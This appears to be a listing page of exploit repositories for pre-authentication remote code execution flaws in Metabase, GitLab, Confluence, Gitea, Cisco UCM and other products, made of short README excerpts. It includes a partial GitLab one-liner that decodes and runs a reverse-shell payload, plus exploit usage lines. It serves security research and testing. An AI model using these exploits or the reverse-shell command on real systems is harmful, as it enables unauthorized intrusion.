CVE-2023-38646

CVE-2023-38646-exploit "This vulnerability, designated as CVE-2023–38646, allowed attackers to execute arbitrary commands on the server without requiring any authentication." A quick reverse shell exploit script for cve-2023-38646. I did not find this vulnerability, just made the script. Usage...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 single line bash PoC for GitLab preauth RCE CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2023-25136

OpenSSH CVE-2023-25136 Pre-Auth Double Free – Writeup and POC What is OpenSSH? OpenSSH is a popular tool used for secure communication and remote access. It was developed as a free, open-source implementation of the Secure Shell SSH communications protocol and is widely used for various...

cve-2019-7192-check

QNAP Pre-Auth Root RCE CVE-2019-7192 CVE-2019-7195 Checker Usage: pip install requests ./CheckerforQNAPRCEcve2019719295.py /path/to/ip-port.txt Example file input: 1.2.3.4 8080 2.3.4.5 443 This tool takes a list of QNAP NASes' IPs and ports, and it tells if each device is vulnerable to the...

CVE-2024-9441

Nortek Linear eMerge E3 Pre-Auth RCE PoC CVE-2024-9441 Description: This repository contains a Proof of Concept PoC exploit for Nortek Linear eMerge E3 CVE-2024-9441, which is vulnerable to Remote Code Execution RCE in a pre-authentication state. The vulnerability is triggered via a flaw in the...

CVE-2021-26084_Confluence

CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection Usage usage: cve-2021-26084confluencerce.py -h --url URL --cmd CMD --shell CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection optional arguments: -h, --help show this help message and exit --url URL, -u URL Target Url --cmd CMD, -c CMD...

CVE-2026-61511-PoC-Exploit

CVE-2026-61511 – vBulletin Pre‑Auth RCE Exploit & Verifier ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only. Unauthorized access to computer systems is illegal under CFAA US, Computer Misu...

CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 POC This is a python script which exploits the remote code execution vulnerability of Metabase's login software. It allows us to execute arbitrary commands on the server before authentication. Vulnerable versions are Metabase open source before 0.46.6.1 and...

CVE-2026-60004-POC

CVE-2026-60004 — Gitea Pre-Auth Remote Code Execution CVSS 9.8 ┌──────────────────────────────────────────────────────────────┐ │ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 CRIT │ │ diffpatch → git hook injection │ v1.17–1.27.0 affected │...

CVE-2026-1731

CVE-2026-1731 BeyondTrust Remote Support Pre-Auth RCE PoC !WARNING This script is intended for educational and research purposes only. Do not use it against systems without explicit permission. Unauthorized access or testing is illegal and unethical. Read the full DISCLAIMER before using this...

CVE-2024-51378

CyberPanel Command Injection Vulnerability - CVE-2024-51378 Exploit for CyberPanel Pre-Auth RCE Remote Code Execution via Command Injection Author: Luka Petrovic refr4g Date Disclosed: October 2024 Overview Proof-of-concept PoC exploit for a command injection vulnerability CVE-2024-51378 in...

CVE-2023-38646-PoC

CVE-2023-38646 - Metabase Pre-auth RCE Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1,...

Silent-Call

Silent;Call Pre-authentication remote root on Cisco Unified Communications Manager 15.x Three HTTP requests. Zero credentials. Root access. Every call is now yours. Kill Chain Step| Component| Description ---|---|--- 1| Spoofhack| X-Forwarded-For header spoofing bypasses localhost restriction on...

CVE-2024-50629_50631

CVE-2024-5062950631 Pre-auth RCE N-day exploitation of Synology BeeStation. Detail: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1 $ python3 poc.py 192.168.88.248 192.168.88.254 LISTENER listeni...

ConfluentPwn

ConfluentPwn Confluence pre-auth ONGL injection remote code execution scanner CVE-2022-26134. Usage The below GIF shows a demo usage of the tool: Here is the help output of the tool: $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ +...

CVE-2025-3243

CVE-2025-32433 Erlang SSH Library Exploit A proof-of-concept exploit for CVE-2025-32433 , a critical vulnerability in Erlang's SSH library that allows pre-authenticated code execution via malformed SSHMSGCHANNELREQUEST packets. Features Original exploit by Matthew Keeley Updated version by Tyler...

CVE-2026-60206-PoC-Exploit

CVE-2026-60206 - Oracle WebLogic SAML Auth Bypass Exploit Framework-Toolkit Oracle WebLogic Server — SAML Authentication Bypass → Admin Takeover Exploit Framework & Mass Scanner For authorized security testing only. ⚖️ Legal Disclaimer & Responsible Use This tool is provided for educational and...

watchTowr-vs-Citrix-Netscaler-CVE-2026-88772

watchTowr-vs-Citrix-Netscaler-CVE-2026-88772 Detection Artifact Generator for Citrix NetScaler CVE-2026-88772 See our blog post for technical details. Detection in Action / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553

CVE-2025-40552 and CVE-2025-40553 SolarWinds Web Help Desk Pre-Auth RCE Chain SolarWinds Web Help Desk Pre-Auth RCE Chain Detection Artifact Generator Tool Description This Detection Artifact Generator verifies if SolarWinds Web Help Desk instance is vulnerable to CVE-2025-40552 and CVE-2025-4055...

CVE-2026-39987-marimo-rce

CVE-2026-39987 - Marimo Pre-Auth RCE Unauthenticated Remote Code Execution in Marimo via WebSocket Terminal 📌 Overview CVE-2026-39987 is a critical Pre-Authentication Remote Code Execution vulnerability affecting Marimo versions prior to 0.23.0. The /terminal/ws WebSocket endpoint completely...